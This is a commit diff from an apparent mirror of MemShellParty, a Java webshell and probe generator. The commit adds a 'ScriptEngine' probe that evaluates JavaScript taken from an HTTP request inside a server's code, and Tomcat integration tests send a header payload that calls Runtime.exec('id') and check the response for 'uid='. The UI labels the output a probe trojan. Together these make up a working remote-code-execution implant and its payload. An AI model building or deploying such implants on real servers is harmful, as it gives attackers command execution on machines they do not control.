mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support script engine probe
This commit is contained in:
@@ -10,5 +10,6 @@ public enum ProbeContent {
|
|||||||
JDK,
|
JDK,
|
||||||
Bytecode,
|
Bytecode,
|
||||||
Command,
|
Command,
|
||||||
BasicInfo
|
BasicInfo,
|
||||||
|
ScriptEngine
|
||||||
}
|
}
|
||||||
|
|||||||
+3
@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||||
import com.reajason.javaweb.probe.payload.response.*;
|
import com.reajason.javaweb.probe.payload.response.*;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
return CommandProbe.class;
|
return CommandProbe.class;
|
||||||
case Bytecode:
|
case Bytecode:
|
||||||
return ByteCodeProbe.class;
|
return ByteCodeProbe.class;
|
||||||
|
case ScriptEngine:
|
||||||
|
return ScriptEngineProbe.class;
|
||||||
default:
|
default:
|
||||||
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
|
throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
import javax.script.ScriptEngine;
|
||||||
|
import javax.script.ScriptEngineManager;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/18
|
||||||
|
*/
|
||||||
|
public class ScriptEngineProbe {
|
||||||
|
private final String script;
|
||||||
|
|
||||||
|
public ScriptEngineProbe(String script) {
|
||||||
|
this.script = script;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
|
||||||
|
ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
|
||||||
|
if (js == null) {
|
||||||
|
return ret = "js engine is null";
|
||||||
|
}
|
||||||
|
return ret = js.eval(data).toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String toString() {
|
||||||
|
return ScriptEngineProbe.exit(script, super.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/18
|
||||||
|
*/
|
||||||
|
class ScriptEngineProbeTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
String hello = new ScriptEngineProbe("1 + 1").toString();
|
||||||
|
assertEquals("2", hello);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -110,4 +110,36 @@ public class ProbeAssertion {
|
|||||||
));
|
));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void responseScriptEngineIsOk(String url, String server, int targetJreVersion) {
|
||||||
|
ProbeConfig probeConfig = ProbeConfig.builder()
|
||||||
|
.probeMethod(ProbeMethod.ResponseBody)
|
||||||
|
.probeContent(ProbeContent.ScriptEngine)
|
||||||
|
.debug(true)
|
||||||
|
.shrink(true)
|
||||||
|
.staticInitialize(true)
|
||||||
|
.targetJreVersion(targetJreVersion)
|
||||||
|
.build();
|
||||||
|
String headerName = "X-Header";
|
||||||
|
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
||||||
|
.server(server)
|
||||||
|
.reqParamName(headerName)
|
||||||
|
.build();
|
||||||
|
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
||||||
|
String content = probeResult.getShellBytesBase64Str();
|
||||||
|
RequestBody requestBody = new FormBody.Builder()
|
||||||
|
.add("data", content)
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
|
||||||
|
.url(url + "/b64").post(requestBody)
|
||||||
|
.build();
|
||||||
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
|
assertThat(response.body().string(), anyOf(
|
||||||
|
containsString("uid=")
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
|||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -63,6 +63,13 @@ public class Tomcat10ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V11);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
+7
@@ -71,6 +71,13 @@ public class Tomcat5ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
+7
@@ -63,6 +63,13 @@ public class Tomcat6ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_6);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
|||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junitpioneer.jupiter.RetryingTest;
|
import org.junitpioneer.jupiter.RetryingTest;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
@@ -65,6 +65,13 @@ public class Tomcat7ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_7);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
|||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
@@ -64,6 +64,13 @@ public class Tomcat8ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V1_8);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
+8
-1
@@ -6,7 +6,7 @@ import com.reajason.javaweb.integration.VulTool;
|
|||||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import org.objectweb.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junitpioneer.jupiter.RetryingTest;
|
import org.junitpioneer.jupiter.RetryingTest;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
@@ -64,6 +64,13 @@ public class Tomcat9ContainerTest {
|
|||||||
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
|
ProbeAssertion.responseCommandIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void testScriptEngineReqHeaderResponseBody() {
|
||||||
|
String url = getUrl(container);
|
||||||
|
ProbeAssertion.responseScriptEngineIsOk(url, Server.Tomcat, Opcodes.V9);
|
||||||
|
}
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
void testBytecodeReqParamResponseBody() {
|
void testBytecodeReqParamResponseBody() {
|
||||||
|
|||||||
Binary file not shown.
+3
-3
@@ -17,7 +17,7 @@
|
|||||||
"@biomejs/biome": "2.1.4",
|
"@biomejs/biome": "2.1.4",
|
||||||
"@react-router/dev": "^7.9.6",
|
"@react-router/dev": "^7.9.6",
|
||||||
"@types/node": "^24.10.1",
|
"@types/node": "^24.10.1",
|
||||||
"@types/react": "^19.2.5",
|
"@types/react": "^19.2.6",
|
||||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||||
"@types/react-dom": "^19.2.3",
|
"@types/react-dom": "^19.2.3",
|
||||||
"@types/react-syntax-highlighter": "^15.5.13",
|
"@types/react-syntax-highlighter": "^15.5.13",
|
||||||
@@ -31,7 +31,7 @@
|
|||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@hookform/resolvers": "^5.2.2",
|
"@hookform/resolvers": "^5.2.2",
|
||||||
"@tailwindcss/vite": "^4.1.17",
|
"@tailwindcss/vite": "^4.1.17",
|
||||||
"@tanstack/react-query": "^5.90.9",
|
"@tanstack/react-query": "^5.90.10",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"framer-motion": "^12.23.24",
|
"framer-motion": "^12.23.24",
|
||||||
@@ -42,7 +42,7 @@
|
|||||||
"react": "^19.2.0",
|
"react": "^19.2.0",
|
||||||
"react-copy-to-clipboard": "^5.1.0",
|
"react-copy-to-clipboard": "^5.1.0",
|
||||||
"react-dom": "^19.2.0",
|
"react-dom": "^19.2.0",
|
||||||
"react-hook-form": "^7.66.0",
|
"react-hook-form": "^7.66.1",
|
||||||
"react-i18next": "^15.7.4",
|
"react-i18next": "^15.7.4",
|
||||||
"react-router": "^7.9.6",
|
"react-router": "^7.9.6",
|
||||||
"react-router-dom": "^7.9.6",
|
"react-router-dom": "^7.9.6",
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ const PROBE_OPTIONS = [
|
|||||||
{ value: "JDK" as const, label: "jdk" },
|
{ value: "JDK" as const, label: "jdk" },
|
||||||
{ value: "Command" as const, label: "command" },
|
{ value: "Command" as const, label: "command" },
|
||||||
{ value: "Bytecode" as const, label: "bytecode" },
|
{ value: "Bytecode" as const, label: "bytecode" },
|
||||||
|
{ value: "ScriptEngine" as const, label: "script" },
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
const MIDDLEWARE_OPTIONS = [
|
const MIDDLEWARE_OPTIONS = [
|
||||||
@@ -73,7 +74,7 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
|
|
||||||
const filteredOptions = useMemo(() => {
|
const filteredOptions = useMemo(() => {
|
||||||
const filterMap = {
|
const filterMap = {
|
||||||
ResponseBody: ["Command", "Bytecode"],
|
ResponseBody: ["Command", "Bytecode", "ScriptEngine"],
|
||||||
DNSLog: ["JDK", "Server"],
|
DNSLog: ["JDK", "Server"],
|
||||||
Sleep: ["Server"],
|
Sleep: ["Server"],
|
||||||
} as const;
|
} as const;
|
||||||
@@ -207,12 +208,12 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
|||||||
|
|
||||||
const renderDynamicFields = useCallback(() => {
|
const renderDynamicFields = useCallback(() => {
|
||||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||||
const isCommandOrBytecode =
|
const needParam =
|
||||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode";
|
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
|
||||||
const isSleepMethod = watchedProbeMethod === "Sleep";
|
const isSleepMethod = watchedProbeMethod === "Sleep";
|
||||||
const isServerContent = watchedProbeContent === "Server";
|
const isServerContent = watchedProbeContent === "Server";
|
||||||
|
|
||||||
if (isBodyMethod && isCommandOrBytecode) {
|
if (isBodyMethod && needParam) {
|
||||||
return RequestParamField;
|
return RequestParamField;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,7 @@
|
|||||||
"dnslog.host": "DNSLog Host",
|
"dnslog.host": "DNSLog Host",
|
||||||
"probeContent": "ProbeContent",
|
"probeContent": "ProbeContent",
|
||||||
"probeContent.bytecode": "Bytecode",
|
"probeContent.bytecode": "Bytecode",
|
||||||
|
"probeContent.script": "ScriptEngine",
|
||||||
"probeContent.command": "Command",
|
"probeContent.command": "Command",
|
||||||
"probeContent.jdk": "JDK",
|
"probeContent.jdk": "JDK",
|
||||||
"probeContent.server": "Server",
|
"probeContent.server": "Server",
|
||||||
|
|||||||
@@ -2,7 +2,8 @@
|
|||||||
"buttons.generate": "生成探测马",
|
"buttons.generate": "生成探测马",
|
||||||
"dnslog.host": "DNSLog 地址",
|
"dnslog.host": "DNSLog 地址",
|
||||||
"probeContent": "探测内容",
|
"probeContent": "探测内容",
|
||||||
"probeContent.bytecode": "自定义字节码执行",
|
"probeContent.bytecode": "字节码执行",
|
||||||
|
"probeContent.script": "脚本引擎执行",
|
||||||
"probeContent.command": "命令执行",
|
"probeContent.command": "命令执行",
|
||||||
"probeContent.jdk": "JDK 信息",
|
"probeContent.jdk": "JDK 信息",
|
||||||
"probeContent.server": "服务类型",
|
"probeContent.server": "服务类型",
|
||||||
|
|||||||
Reference in New Issue
Block a user